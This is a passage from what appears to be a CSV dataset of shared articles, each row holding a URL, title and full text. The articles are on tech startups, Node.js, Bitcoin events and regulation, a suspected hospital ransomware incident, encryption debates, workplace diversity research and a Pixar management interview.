times, but ideally what it ultimately means is that we're all that much closer to finding our perfect match - whether that means meeting a partner or finally landing that one hire who takes your whole business to the next level. Robert Carroll currently serves as the Senior Vice President of Marketing for Gild , where he is responsible for crafting and executing Gild's marketing strategy including brand, sales enablement, press and analyst relations, events and demand generation programs.",en
1459259981,CONTENT SHARED,-6874540813378776198,-108842214936804958,770918631519434453,,,,HTML,https://medium.com/greylock-perspectives/the-hierarchy-of-engagement-5803bf4e6cfa,The Hierarchy of Engagement - Greylock Perspectives,"The Hierarchy of Engagement The Fuel to Build an Enduring, Billion Dollar Business Building an enduring, multi-billion dollar consumer technology company is hard. As an investor, knowing which startups have the potential to be massive and long-lasting is also hard. From both perspectives, identifying companies with this potential is a combination of ""art"" and ""science"" - the art is understanding how products work, and the science is knowing how to measure it. At the earliest stages of a company, it comes down to understanding how a product is built to maximize and leverage user engagement. I think of user engagement as the fuel powering products. The best products take that fuel and propel the product (and with it, the company) forward. Just how products do that is something I've been thinking about for most of my career. At Nir Eyal 's Habit Summit this week, I presented a framework for how I evaluate non-transactional consumer companies I'm looking to invest in that synthesizes some of this thinking - I call it the Hierarchy of Engagement. The hierarchy has three levels: 1) Growing engaged users, 2) Retaining users, and 3) Self-perpetuating. As companies move up the hierarchy, their products become better, harder to leave, and ultimately create virtuous loops that make the product self-perpetuating. Companies that scale the hierarchy are incredibly well positioned to demonstrate growth and retention that investors are looking to see. I encourage you to use the Hierarchy of Engagement framework when thinking about your own product, and building out your product roadmap. But, like most frameworks, I am continuously improving the hierarchy and would love to hear your thoughts. Let me know what you think. Follow me on Twitter @sarahtavel .",en
1459268727,CONTENT SHARED,-3173020603774823976,-1032019229384696495,3042342415047984532,,,,HTML,https://nodejs.org/en/blog/announcements/welcome-google/,Welcome Google Cloud Platform!,"Google Cloud Platform joined the Node.js Foundation today. This news comes on the heels of the Node.js runtime going into beta on Google App Engine , a platform that makes it easy to build scalable web applications and mobile backends across a variety of programming languages. In the industry, there's been a lot of conversations around a third wave of cloud computing that focuses less on infrastructure and more on microservices and container architectures. Node.js, which is a cross-platform runtime environment that consists of open source modules, is a perfect platform for these types of environments. It's incredibly resource-efficient, high performing and well-suited to scalability. This is one of the main reasons why Node.js is heavily used by IoT developers who are working with microservices environments. ""Node.js is emerging as the platform in the center of a broad full stack, consisting of front end, back end, devices and the cloud,"" said Mikeal Rogers, community manager of the Node.js Foundation. ""By joining the Node.js Foundation, Google is increasing its investment in Node.js and deepening its involvement in a vibrant community. Having more companies join the Node.js Foundation helps solidify Node.js as a leading universal development environment."" Along with joining the Node.js Foundation, Google develops the V8 JavaScript engine which powers Chrome and Node.js. The V8 team is working on infrastructural changes to improve the Node.js development workflow, including making it easier to build and test Node.js on V8's continuous integration system. Google V8 contributors are also involved in the Core Technical Committee. The Node.js Foundation is very excited to have Google Cloud Platform join our community and look forward to helping developers continue to use Node.js everywhere.",en
1459268965,CONTENT SHARED,-9107331682787867601,-1032019229384696495,3042342415047984532,,,,HTML,http://techcrunch.com/2016/03/29/hopper-raises-16-million-for-a-travel-app-that-tells-you-the-best-time-to-fly/,Hopper raises $16 million for a travel app that tells you the best time to fly,"Hopper , the makers of a handy travel application that tells you the best time to fly in order to find the best deals, has now raised additional capital to continue to grow its business. It has also scored a partnership with American Airlines which allows it to sell AA's tickets through its app. In terms of the new investment, the company announced $16 million in a growth funding round, led by BDC Capital IT Venture Fund. Existing investors, including OMERS Ventures, Accomplice (formerly Atlas Venture) and Brightspark Ventures, also participated. That brings the startup's total raise to date to $38 million. Though the travel space is rife with competition, Hopper has developed a useful application for those looking for an easier way to figure out when to fly in order to save money on airfare. Its prediction engine uses data and analysis from ""billions"" of tracked flight prices to suggest when travelers should buy tickets. The company claims that it's capable of saving customers up to 40% on their next flight, thanks to its service. While ever-changing airfare ticket prices are a complex thing to track, this data is presented to Hopper's end users in an easy-to-read format by way of Hopper's app. Here, customers can view color-coded calendars which shows which days are affordable (green) to travel, all the way up to expensive days (red.) You're also able to watch trips, get detailed forecast data, receive alerts when fares drop and more. The end result for customers is being able to snag a ticket without overpaying - though having more flexible travel dates, of course, helps. What's also interesting about Hopper is that it's entirely focused on delivering its product by way of a mobile app, not a website. According to Hopper's CEO and founder, Frederic Lalonde, previously a VP at Expedia, the company isn't a ""mobile-first"" startup - it's ""mobile- only ."" ""We fundamentally believe that the mobile app experience in one shape or form is going to take over all commerce,"" he says. ""A hundred percent of what we do is based on mobile. And beyond that, we're very much a conversational company in the sense that 90 percent of what we sell comes from a push notification."" In other words, when Hopper alerts its users that now is the time to buy, they do. While the company doesn't disclose its revenue, Lalonde would say that everything related to its service is growing at roughly 40 percent month-over-month, and he believes the app will reach 1 million downloads per month this summer. Hopper is still a relatively young company. It first launched in early 2015, and was named the #7 best app by Apple that same year. It's also a #4 travel app in the U.S. on the App Store, and #1 in dozens of countries. To date, the app has been downloaded over 3 million times, and has monitored fares for over 5 million watched trips worth over $4.5 billion in gross booking value. It has also sent over 38 million push notifications to users, with 7.3 million being sent last month alone, the company reports. Hopper has increased its accuracy since its debut, too, and now claims it's 95 percent accurate in terms of predicting ticket prices within $5 dollars of the actual fare up to a year ahead. But Lalonde point out that, while Hopper has improved its performance 3 percent since last year, it has done so in areas that matter - like holiday travel, for example. In addition to the new funding, Hopper has also now signed a deal with American Airlines that will make American Airlines and American Eagle fares available in its app. This includes around 6,700 daily flights to nearly 350 destinations in over 50 countries. This is notable because AA was one of the few holdouts to yet offer its fares in Hopper The app today supports almost all major airlines' fares. The company's business model involves a combination of compensation from airlines, and a $5 convenience fee charged to consumers. With the new capital, Hopper plans to grow its team of 25 in Montreal and Cambridge. It's soon rolling out a number of new features that will allow it to push recommendations to users and offer a more personalized experience. For instance, users will be able to specify things like a desire to avoid long layovers or the ultra-low cost fares in favor of regular tickets, and the app will suggest things users may not know to look for - like alternative airports, for instance. The startup also plans to increase its focus on international travel by year-end, with a focus on more accurate pricing, no matter where users book.",en
1459269196,CONTENT SHARED,-1021685224930603833,4670267857749552625,-265833983523746108,,,,HTML,http://www.telequest.com.br/portal/index.php/opiniao/5908-industria-4-0-desafios-e-oportunidades,Indústria 4.0: desafios e oportunidades,"*Igor Schiewig 25/03/2016 - A Indústria 4.0 é muito mais do que o uso de tecnologias como Internet das Coisas (IoT) e Computação em Nuvem nos processos de produção. Ela é caracterizada por modelos de negócio realmente inovadores, que gerem vantagens competitivas significativas e sustentáveis para as empresas. O que realmente vai assegurar diferenciais competitivos sustentáveis às empresas não é a simples adoção da Indústria 4.0, mas a capacidade de utilizar seus recursos para criar experiências únicas e inovadoras para seus clientes (Manufatura na Era da Experiência). Estas experiências, que poderão ser aceleradas e levadas a novos patamares, serão o segredo do sucesso das empresas nesse novo ambiente de negócios. *Igor Schiewig, Diretor de Business Transformation da Dassault Systèmes para a América Latina",pt
1459271088,CONTENT SHARED,1392715980907132808,4340306774493623681,-7292854281461484137,,,,HTML,http://www.newsbtc.com/2016/03/29/medstar-washington-affected-bitcoin-ransomware/,MedStar Washington Potentially Affected By Bitcoin Ransomware,"There are rumors circulating this healthcare institution is affected by Bitcoin ransomware, as one staffer mentioned how she saw a pop-up on two different computer screens. In this pop-up windows, there was information about the infection, and instructions to pay a ransom through ""some form of Internet currency"". Those details have not been officially confirmed at the time of publication, though. Another hospital in the United States has fallen victim to a virus bringing their services to a halt. MedStar Hospital Center, located in Washington, noticed the virus intrusion early Monday morning, resulting in email services being shut down, and having no access to their vast database of patient records. This matter has piqued the interest of the FBI, who are currently investigating the matter to determine whether or not Bitcoin ransomware is involved in this attack. Also read: Antonopoulos and Uphold Get into a Spat over Trademarked Saying MedStar Washington Hospital Center Faces Virus Threat Given the number of hospitals being by Bitcoin ransomware over the past few months, it only seems to make sense this issue plaguing the MedStar Washington Hospital Center should be classified in the same category. However, it remains unclear as to whether or not Bitcoin ransomware is the cause of this attack, as there has not been an official statement just yet. What we do know is how no information appears to be stolen from the hospital database, which is cause for a sigh of relief. Healthcare institutions have a vast amount of personal details about their patients, and all of these details could be of high value to individual internet criminals. Luckily, this is not the case here, or so it would seem. MedStar has to be applauded for their course of action, as the decision was made to shut down all system interfaces. Doing so effectively all access paths for this virus to spread itself through the entire hospital IT system. That being said, all of the clinical facilities will remain open although there will be some delays due to staff reverting to paper records for the time being. Keeping in mind how MedStar operates ten different hospitals, as well as over 250 other facilities in the Washington region, this virus attack appears to be made deliberately against such a prominent healthcare provider. With lab results delayed by quite a margin, this issue needs to be sorted sooner rather than later, so that healthcare services can be restored to normal. Rumors are circulating this healthcare institution is affected by Bitcoin ransomware, as one staffer mentioned how she saw a pop-up on two different computer screens. In this pop-up windows, there was information about the infection, and instructions to pay a ransom through ""some form of Internet currency"". Those details have not been officially confirmed at the time of publication, though. Avast Mobile Enterprise General Manager Sinan Eren stated: ""There's a lack of budget, a lack of talent to handle these issues. Sometimes the human capital might not be there. All these things are an incremental cost to their systems. Therefore, they kind of push the can down the road to deal with technical updates later."" Regardless of what type of virus has infected the MedStar systems, it is evident the healthcare industry still has no answer to lackluster staff awareness regarding software security threats. The combination of staffers being unaware of what they should be doing, and outdated computer systems, result in these types of issues occurring far more often that people would like.",en
1459271144,CONTENT SHARED,-6142462826726347616,4340306774493623681,-7292854281461484137,,,,HTML,http://cointelegraph.com/news/coinfest-2016-uniting-the-worlds-bitcoiners,CoinFest 2016: Uniting the World's Bitcoiners,"Following the success of its international events spread across three continents and 15 countries, CoinFest, the world's first decentralized currency convention, has announced the launch of CoinFest 2016, claiming more than 20 cities already planning to participate. Founded by a small group of 100 Bitcoiners in Vancouver circa 2013, CoinFest has collaborated with startups , enthusiasts and experts to spur the awareness and mainstream adoption of cryptocurrency internationally. The organization was established to target the growth of the Bitcoin industry and community in Canada . Bitcoin community-focused events Thanks to its success in 2014, CoinFest began to gain popularity for its friendlier top-tier events. Instead of gearing towards a corporate-style conference , CoinFest has been hosting Bitcoin community-focused events, introducing Bitcoin to conventional merchants and the general population. The founder of eMunie, a major sponsor, says to CoinTelegraph in a Skype interview: ""It focuses more on regions where Bitcoin and similar technologies can have a greater impact and really improve the quality of life for a lot of people.It's more friendly and has a real 'by the community, for the community' feel to it, which we like. I've found other conferences and events to be very 'corporate' which can be a little intimidating for newcomers to Bitcoin and other similar technologies."" In-depth discussions and technical applications In 2015, CoinFest hosted its events across 16 cities, growing exponentially in size since 2013, when the organization started by hosting one annual event in Canada. Today, global Bitcoin conferences and events hosted by CoinFest are segregated into sub organizations. They cover local cities or even entire regions, such as newcomer CoinFest Midwest. CoinFest Midwest sponsor phintech.io tells CoinTelegraph: ""Coinfest Midwest is responsible for curating CoinFest along the central corridor of the United States . Our goals are to raise awareness about Bitcoin by hosting events and then educating attendees. Our content is relevant for Bitcoin newcomers just curious about the digital currency and existing fans who want to have in-depth discussions and explore more technical applications . Hopefully this year we'll get to buy and sell goods via Bitcoin, install more Bitcoin wallets for people and send them their first BTC."" A Global Network of High-Profile Startups and Experts with Bitcoin-focused Initiatives Sponsors and hosts of CoinFest Midwest have engaged in exciting events in the greater Omaha area, incorporating a network of high profile startups and experts with bitcoin-focused initiatives. Digital Economy 2015 was one of the most successful CoinFest Midwest events in Omaha last year. The collaboration and partnerships with regional fintech leaders, entrepreneurs, speakers, and panels gathered more than 130 attendees, allowing both entrepreneurs and consumers to explore the innovative nature of new financial technologies and their potential to transform the traditional finance sector. Making it Big Continuing its momentum, 30 cities announced they are planning to host simultaneous events across major cities from April 5-10, including Amsterdam , Copenhagen, Washington DC, Omaha, Toronto , Vancouver, Valdivia (Chile) and Manchester. Currently, CoinFest Amsterdam and Manchester are the most popular conferences out of all regions. Across its events, CoinFest is planning to giveaway 1 BTC in Grabbit prizes, over 40K HUC in Huntercoin prizes and all kinds of prizes on the Wheel of Bitcoin. AirBitz , the official wallet of CoinFest 2016, has announced their support, and will provide mBTC to every Bitcoin beginner who sends out a tweet. Phintech.io says: ""I feel that Asia and Africa will likely become as big, if not bigger markets than the western counterparts. There are huge opportunities for Bitcoin and other crypto currencies in these regions due to the general lack of financial infrastructure available, especially to those living in remote or poor areas.""",en
1459271181,CONTENT SHARED,2255603060224026824,4340306774493623681,-7292854281461484137,,,,HTML,http://www.newsbtc.com/2016/03/29/french-senate-will-debate-bitcoin-regulation/,French Senate Will Debate on Bitcoin Regulation,"While the efforts by the French Senate to combat terrorism and organized crime are commendable, the decision to make Bitcoin regulation more strict could end up hurting the local economy more than anything The regulation of Bitcoin and digital currency will be debated upon in France, as the government is taking the risk of money laundering and terrorist funding very seriously. Although there is little to no proof to back up these claims, authorities feel the need to debate further on Bitcoin regulation. Bitcoin's public image of being a currency used primarily by Internet criminals is rearing its ugly head once again. Also read: Bitcoin Price Watch; Sellers Take Control French Senate Ponders Over Bitcoin Regulation Moreover, exchange platforms dealing with Bitcoin and other digital currencies will need to report to - an entity which has always been in favor of Bitcoin regulation - and keep more detailed logs of all customers. Doing so would allow government officials and Tracfin to identify financial fraud and money laundering attempts a lot quicker.",en
1459271208,CONTENT SHARED,3037840448416371691,4340306774493623681,-7292854281461484137,,,,HTML,https://bitcoinmagazine.com/articles/bitcoin-wallets-as-swiss-bank-accounts-the-developer-s-perspective-1459261829,Bitcoin Wallets as Swiss Bank Accounts: The Developer's Perspective,"Bitcoin was seemingly dragged into the very public debate on privacy and encryption recently. Specifically, President Barack Obama warned that if the government can't access phones, ""...everybody is walking around with a Swiss bank account in their pocket,"" which appeared to refer to cryptocurrency. Last week, Bitcoin Magazine reported on Bitcoin's industry representatives and their positions on encryption, privacy, Bitcoin's role in tax evasion and money laundering and more. In part two of our coverage: What do the actual builders of these pocket-sized ""Swiss bank accounts"" think? Bitcoin Magazine reached out to Electrum developer Thomas Voegtlin, Breadwallet CEO Aaron Voisine, Mycelium developer Leo Wandersleb and Ledger CTO Nicolas Bacca to see where they stand. Broken The debate on encryption and privacy caused by the ongoing dispute between Apple and the FBI took a sharp turn this week. The United States Department of Justice had long claimed it was unable to access encrypted iPhones without help from Apple, but this turned out not to be true. Although the Department of Justice did not explain how they got access to the phone, the Bitcoin wallet developers Bitcoin Magazine spoke to were not surprised that they could. Ledger CTO Nicolas Bacca speculated: ""To get access to the data, the FBI probably relied on some kind of physical attack involving the flash memory. Swapping the flash memory or disabling writes could get you infinite retries, so you can brute force the access code. The operating system doesn't handle that securely."" Bacca also pointed out that Bitcoin itself is much more secure than a typical iPhone. ""I believe Bitcoin is less at risk against physical attacks compared to other cryptosystems, because you always get a way to invalidate a possibly compromised key - just send the coins to a different address if you notice quickly enough. The issue is properly qualifying how long is that."" Balance While the FBI demands Apple help the government agency access encrypted iPhones, the tech company maintains that weakening encryption could result in a privacy disaster. Obama, explaining his position last week, argued it's important to find the right balance between privacy and security, suggesting weakened encryption should be an option. But this option was firmly rejected by all wallet developers Bitcoin Magazine spoke to. Electrum developer Thomas Voegtlin explained: ""In the physical world, you can design a door that is difficult to break. This means that someone may be able to force that door, but not covertly, and that is why we have a balance between privacy and security. But computers are devices that tend to make things binary. In the world of computing, you either do have the key, and opening the door is very easy, or you don't, and it is impossible. If we give a special key to the government, they will be able to open millions of doors with that key, with no effort, and without attracting attention. Nothing will prevent someone from misusing that key, and eventually the key will be leaked and fall into the wrong hands. A technological backdoor is the modern equivalent of the Ring of Gyges ."" Ledger's Nicolas Bacca agreed. ""As a society I believe we should be extremely worried about calls to weaken encryption,"" Bacca said. ""Practically, it cannot be done for a single target, as any ' NOBUS ' backdoor turns into a global risk when it's discovered. Ideologically, we already had a clear demonstration that letting agencies run loose with that kind of absolute power was a pretty bad idea. Politically, I believe it can lead to important economic collateral damages, which is another good reason to avoid doing it."" Voisine agreed with this assesment as well. Moreover, the Breadwallet developer argued that strong encryption is itself a balancing factor against the widespread data monitoring, not a factor that itself requires balance. ""Privacy is core to the human experience. Imagine if your landlord or your extended family knew exactly how much money you had at any given time, and how much you spent and when. It would be a disaster. Privacy is a leveler that allows parties with otherwise unequal bargaining power to negotiate on equal footing. It's even required by law in many situations, such as with the finances of publicly traded firms. Intentionally weakened encryption is absolutely something that we should all be worrying about. In a future world with the potential for ubiquitous surveillance, strong encryption available to individuals will be the counterbalancing force,"" Voisine said. Taxation Perhaps the main reason Obama cited the Swiss bank account example was to point out that strong encryption could allow citizens an easy escape from certain types of taxation. More specifically, Bitcoin users can potentially store significant amounts of wealth on their phones without government agencies knowing about it, or even being able to touch it. Mycelium developer Leo Wandersleb, however, questioned whether that should be considered a problem at all. Wandersleb: ""So Obama is worried that government might not have ultimate power over its citizens' assets? Help me, why again does he assume the right to have that power? I'm not a U.S. citizen, so excuse me if I'm not too firm with regard to the Constitution and its amendments ... but I know of nothing that would say 'all property is yours unless the government doesn't agree.'"" Electrum's Voegtlin took a slightly more moderate position. ""I am not an anarchist, and my involvement with Bitcoin is not motivated by anti-government ideology. I believe in a society with government, with taxes and law enforcement. I write Bitcoin software because I believe that the benefits of cryptocurrency, for society and for our economies, far outweigh the risks. However, we should not be denying there are risks. New technologies always carry new risks."" But the answer to combating these risks is not to encroach on encryption, Voegtlin pointed out. Rather, he believes the risks should be mitigated through alternative means. Voegtlin: ""I think that law enforcement and taxation will need to adapt to cryptocurrency. In 2011, Pirate Party founder Rick Falkvinge proposed that, in a world with Bitcoin, governments should tax consumption, rather than wealth or income. I believe that level of thinking is appropriate."" Voisine, too, believes the answer will eventually be looked for in alternative methods of taxation. ""There are many tax revenue streams that are difficult to avoid even with the leveling power of privacy putting the individual on a more equal footing with the state. Two examples are use taxes and property taxes. As the industry grows and the world moves their wealth into Bitcoin, I think we will see a gradual shift toward more heavy reliance on these types of income streams by the state. This has the added benefit of making the true cost of state services and programs more transparent. Privacy for individuals and transparency for the state is a wonderful thing."" Security Perhaps unsurprisingly, Bitcoin wallet developers have no intention of weakening the security or decreasing the privacy they offer. Rather, most intend to increase both the security and privacy of their products where possible. Mycelium currently uses a server-based model, which means governments could potentially pressure the wallet provider to give up certain privacy sensitive information or provide false transaction data to users. But Wandersleb explained the wallet intends to improve this: ""We are working on removing ourselves from the equation. Our new wallet will not depend on our servers, so there will be no single point of failure. It will also be open source, so even if we were forced to weaken our product, others could choose to distribute reliable versions. Lastly, Mycelium works with hardware wallets that provide a very good protection against broken operating systems."" Bacca's Ledger is one of the companies working with Mycelium to realize this solution. Bacca explained: ""We are building additional security layers directly on the phones when we can, and we're also building a new hardware wallet device, Ledger Blue. This provides open applications development on a Secure Element, which a phone can use over Bluetooth low-energy. That would be close to the hypothetical doomsday device referred to by Obama."" And Voisine, too, emphasized that privacy and security remain top priorities for Breadwallet. Voisine: ""A Swiss bank in every pocket empowers the individual in incredible ways we've never seen before. It's time that this option becomes available to the whole world, not just the wealthy and politically connected, and we are going to give it to them.""",en
1459272493,CONTENT SHARED,7767869406844505704,-1032019229384696495,3042342415047984532,,,,HTML,http://techcrunch.com/2016/03/29/slice-insurance/,Slice Labs raises $3.9M to insure on-demand workers when they're on the job,"Tim Attia, co-founder and CEO of Slice Labs , said there's ""a ticking time bomb"" threatening the on-demand economy - namely, insurance and liability. Attia's tackling that problem with Slice, which will offer insurance for on-demand workers and providers, starting with rideshare drivers and then homeshare hosts. The startup is announcing today that it has raised $3.9 million in seed funding from Horizon Ventures and XL Innovate. Don't companies like Uber and Airbnb provide insurance already? They do, but Attia (who's spent more than a decade in the insurance industry ) argued that there's still a significant amount of risk. For example, Uber's coverage changes depending on where the driver is in the process (going online versus accepting the trip versus starting the ride), with the expectation that the driver will have their own personal or commercial policy. He also said Uber's policy is in Uber's name, not the driver's, which could lead to legal complications. ""I'm not picking on Uber and Airbnb - it's the only thing they can do,"" Attia said. Slice, on the other hand, aims to offer new kinds of insurance products designed for on-demand workers. These products will be available on a transactional basis - so a ridesharing driver should be covered from the moment they start driving or get into the car, but they're only paying for coverage during the time that they're working (making it more affordable than just taking out a pricey commercial insurance policy). Technically, another firm is providing the actual insurance, but it sounds like Slice is doing most of the actual work. ""Our product - we price it, we issue it, we bill, we manage claims, but we're not taking risk,"" Attia said. ""We're writing on somebody else's policy, on somebody else's paper. We're doing everything an insurance company does minus the investing."" Attia plans to launch Slice's first products in June. Even though Slice is based in New York City, Attia said he's still deciding where to offer coverage first. He also hopes to work with on-demand services to offer Slice insurance through the service's sign-up process. He added that over time, Slice can use data to improve its products and pricing, for example determining whether ""an uberX behaves more like a person because it's their car, or if they behave more like a cab."" Featured Image: MikeDotta / Shutterstock",en
1459273588,CONTENT SHARED,-7202774608580336956,-1387464358334758758,7126182793278562478,,,,HTML,http://googleappsupdates.blogspot.com.br/2016/03/enable-new-google-contacts-for-your.html,Enable the new Google Contacts for your users from the Admin console,"Last year, we launched the new Google Contacts preview to consumer users with several time-saving improvements, such as a rebuilt ""Find duplicates"" feature, automatic updating of contacts with shared Google profile information, as well as a fresh look and feel. Now, we're pleased to announce that several new improvements have been added at the request of Google Apps users and we're making it possible for Apps admins to enable the Google Contacts preview for their users from the Admin console. Getting started with the new Google Contacts preview This new Admin console setting is off by default, giving admins full flexibility to enable the new Contacts preview on their own schedule. To enable this feature in the Admin console, click on Apps > Google Apps > Contacts> Advanced settings. Once enabled, all users will see the new Google Contacts by default and will have the ability to switch back to the old Google Contacts by using the ""Leave the Contacts preview"" link from the More section of the left-hand navigation menu. After enabling this feature, when users next visit Google Contacts they will see the new UI and a ""warm welcome"" splash page will guide them through the new features. Easily get rid of duplicates: No one likes having duplicate contacts, but they inevitably crop up. So we've rebuilt our ""Find duplicates"" feature from the ground up to provide a quick and painless way to clean up your duplicates. Improved Domain Directory: The directory is easier to navigate through a more intuitive and faster ""infinite"" scroll. Automatically Updated Contacts: Users can keep their contacts up to date automatically with shared information from the domain directory, Google+ (if enabled), and more. In addition, Google Contacts also now supports high resolution photographs. Limitations and switching back to the old Contacts The following features are not yet available in the new Google Contacts: When people try to use these features, they will be prompted with a message that these features are not supported as of yet and presented with a link to go back to the old Google Contacts. To opt-out and switch back to the old Google Contacts, users can click More > Leave the Contacts preview from the left-hand navigation of the Google Contacts preview. Launch Details Release track: Launching to both Rapid release and Scheduled release Rollout pace: Full rollout (1-3 days for feature visibility) Impact: All end users Action: Admin action suggested/FYI More Information Note: all launches are applicable to all Google Apps editions unless otherwise noted FAQ: Contacts preview Launch release calendar Launch detail categories Get these product update alerts by email Subscribe to the RSS feed of these updates",en
1459274130,CONTENT SHARED,5822211783543822544,-5527145562136413747,261728485890880028,,,,HTML,http://jezebel.com/study-shows-women-and-minorities-are-punished-for-speak-1766927323,Study Shows Women and Minorities Are Punished for Speaking Up About Workplace Diversity,"A new study finds that people love to hear about workplace diversity-just as long as it's not coming from minorities or women. In fact, if you're not a white male, you're more likely to be punished for speaking up. An Academy of Management Journal study entitled ""Does diversity-valuing behavior result in diminished performance ratings for nonwhite and female leaders?"" explored who really gets to champion diversity without consequences. Stefanie K. Johnson and David R. Hekman , two University of Colorado professors, polled nearly 400 ""working executives"" about, as Fusion explains , ""how cultural, racial, and gender differences were respected and how much diversity was considered a valuable part of their day to day work."" The professors thought their subjects would tell them positive things about workplace inclusion, but received the opposite response. From a piece they wrote in the Harvard Business Review : Much to our surprise, we found that engaging in diversity-valuing behaviors did not benefit any of the executives in terms of how their bosses rated their competence or performance. (We collected these ratings from their 360-degree feedback surveys.) Even more striking, we found that women and nonwhite executives who were reported as frequently engaging in these behaviors were rated much worse by their bosses, in terms of competence and performance ratings, than their female and nonwhite counterparts who did not actively promote balance. For all the talk about how important diversity is within organizations, white and male executives aren't rewarded, career-wise, for engaging in diversity-valuing behavior, and nonwhite and female executives actually get punished for it. Struggling to believe this was the case, the pair re-examined their findings with 300 additional subjects who were ""given fictional hiring decisions for fake jobs that came along with pictures of the hiring manager and the new hire."" They found that if minority or women managers hired a minority or a woman instead of a white dude, the study's participants rated them as ""less effective"": Basically, all managers were judged harshly if they hired someone who looked like them, unless they were a white male. While this is not necessarily shocking, it does explain some of why companies that say they're working on diversifying are often actually resistant to it. Image via Shutterstock .",en
1459285207,CONTENT SHARED,6152652267138213180,-3390049372067052505,6959402895006009403,,,,HTML,http://www.mckinsey.com/business-functions/organization/our-insights/staying-one-step-ahead-at-pixar-an-interview-with-ed-catmull,Staying one step ahead at Pixar: An interview with Ed Catmull,"The cofounder of the company that created the world's first computer-animated feature film lays out a management philosophy for keeping Pixar innovative. Ed Catmull has been at the forefront of the digital revolution since its early days. The president of Pixar and Disney Animation Studios began studying computer science at the University of Utah in 1965. In 1972, he created a four-minute film of computer-generated animation that represented the state of the art at the time. In his 2014 book, Creativity, Inc. , Catmull chronicled the story of Pixar-from its early days, when Steve Jobs invested $10 million to spin it off from Lucasfilm, in 1986; to its release of the groundbreaking Toy Story , in 1995; and its acquisition by the Walt Disney Company, for $7.4 billion, in 2006. But even more, he described the thrill and the challenge of stimulating creativity while keeping up with the breakneck pace of the digital age. Catmull recently sat down with McKinsey's Allen Webb and Stanford University professors Hayagreeva Rao and Robert Sutton for a far-ranging discussion that picked up where Creativity, Inc. left off. They delved deeply into Catmull's rules for embracing the messiness that often accompanies great creative output, sending subtle signals, taking smart risks, experimenting to stay ahead of uncertainty, counteracting fear, and taking charge in a new environment-as Catmull did when he became the president of Disney Animation Studios. The Quarterly : One of the questions we had after reading your book is how do you, as the leader of a company, simultaneously create a culture of doubt-of being open to careful, systematic introspection-and inspire confidence? Ed Catmull: The fundamental tension is that people want clear leadership, but what we're doing is inherently messy. We know, intellectually, that if we want to do something new, there will be some unpredictable problems. But if it gets too messy, it actually does fall apart. And adhering to the pure, original plan falls apart, too, because it doesn't represent reality. So you are always in this balance between clear leadership and chaos; in fact that's where you're supposed to be. Rather than thinking, ""OK, my job is to prevent or avoid all the messes,"" I just try to say, ""well, let's make sure it doesn't get too messy."" Most of our people have learned that it isn't helpful to ask for absolute clarity. They know absolute clarity is damaging because it means that we aren't responding to problems and that we will stop short of excellence. They also don't want chaos; if it gets too messy, they can't do their jobs. If we pull the plug on a film that isn't working, it causes a great deal of angst and pain. But it also sends a major signal to the organization-that we're not going to let something bad out. And they really value that. The rule is, we can't produce a crappy film. Strategy in a digital age The Quarterly : So that's the rule; that's the strategy? Ed Catmull: Our real rule is to make a great movie. Our business is predicated on this. Of course, we need the film to be financially successful, and restarting a film is very expensive. But if we're to avoid becoming creatively bankrupt, we have to do things that are high risk. This affects the entire culture-everybody keeps raising the bar, upping the ante in terms of what goes on the screen. This raises costs, so we have a continual struggle to reduce our costs. People coming in from the outside, as well as employees, look at the process and say, ""you know, if you would just get the story right-just write the script and get it right the first time, before you make the film-it will be much easier and cheaper to make."" And they're absolutely right. It is, however, irrelevant because even if you're really good, your first pass or guess at what the film should be will only get you to the B level. You can inexpensively make a B-level film. In fact, because the barriers to entry into this field now are quite low, you can get to B easily. If you want to get to A, then you have to make changes in response to the problems revealed in your first attempt and then the second attempt, et cetera. Think of building a house. The cheapest way to build it is to draw up the plan for the house and then build to those plans. But if you've ever been through this process, then you know that as the building takes shape, you say, ""what was I thinking? This doesn't work at all."" Looking at plans is not the same thing as seeing them realized. Most people who have gone through this say you have to have some extra money because it's going to cost more than you think. And the biggest reason it costs more than you think is that along the way, you realize something you didn't know when you started. Ed Catmull (center) works through story ideas with his team at a retreat for Toy Story 3. The Quarterly : You mentioned signals a moment ago; say a bit more about that. Ed Catmull: Restarting something that doesn't work is costly and painful, but in doing so, we send a major signal to our company. But there are other signals, too. We put short films at the beginning of our movies. Why? Nobody is going to go to a movie because of the shorts, and neither the theater owners nor Disney gets any more money because of them. So why do the shorts? Well, we are sending some signals. It is a signal to the audience that we're giving them more than they're paying for, a signal to the artistic community that Pixar and Disney are encouraging broader artistic expression, and a signal to our employees that we're doing something for which we don't get any money. While they all know that we have to make money and want us to, they also want a signal that we are not so driven by money that it trumps everything else. The Quarterly : Are there any other signals you'd highlight? Ed Catmull: Here is a simple example, so simple that most people would overlook it: our kitchen employees are part of the company. I think a lot of companies overuse the phrase ""our core business""-for instance, ""making food for our employees is not our core business."" So they farm it out. Now, in a lot of companies, including ours, there are certain things you do farm out. You don't do everything yourself. But this notion of ""our core business"" can become an excuse for being so financially driven that you actually harm your culture. If you farm out your food preparation, then you've set up a structure where another company has to make money. The only way they can make more money, which they want to do, is to decrease the quality of the food or service. Now we have a structural problem. It's not that they're bad or greedy. But in our case, the kitchen staff works for us, and because it's not a profit group, their source of pride comes from whether or not the employees like the food. So the quality of food here is better than at most other places. Also, the food here is not free-it's at cost. Making it free would send the wrong signal about value to the kitchen crew. Everybody loves the chef and the staff. We have people who are happier. They're not gone for an hour and a half because they're going somewhere else to get a decent meal. They're here, where we have more chance encounters; it creates a different social environment. That's worth something to us, to our core business. The Quarterly : You said that risk taking is critical to your artistic and, ultimately, your business success. Could you describe how you think about risk at Pixar? Ed Catmull: For me, there are three stages of risk. The first stage is to consciously decide what risks you want to take. The second is to work out the consequences of those choices; this can be fairly time consuming. The third stage is ""lock and load,"" when you do not intentionally add new risk. The trick is to make sure you do stage one-doing something that has risk as part of it. For example, when you're building a team for a film, if you have a team that's worked together before and it's exactly the same team, you know they know how to work with each other and that they can be very efficient. If you keep going this, though, you're going to end up with an ingrown team. On the other hand, if you build a team with all new people, then they won't see looming hazards, and they can fall apart. So you put together a blend. The mix of new and experienced people is a conscious risk taken at the beginning-stage one. The second stage then is getting the group working as a coherent whole for the heavy-duty work at the end of a production. Likewise, with technology, we know that if we don't change the technology from film to film, we can become extraordinarily efficient because everybody knows how to use it. But we also know we'll become out-of-date if we do that. So we introduce new technology. Sometimes it's a small risk and sometimes it's a complete replacement of the underlying infrastructure-a huge risk, with great angst and pain. But our people buy into it because it's for the good of the studio, even though they know it will cause them so much trouble. Similarly, if you consider the stories themselves, they're all hard to make-it doesn't matter whether it's an original film or a sequel. But there are different levels of commercial risk. If we're making a sequel to The 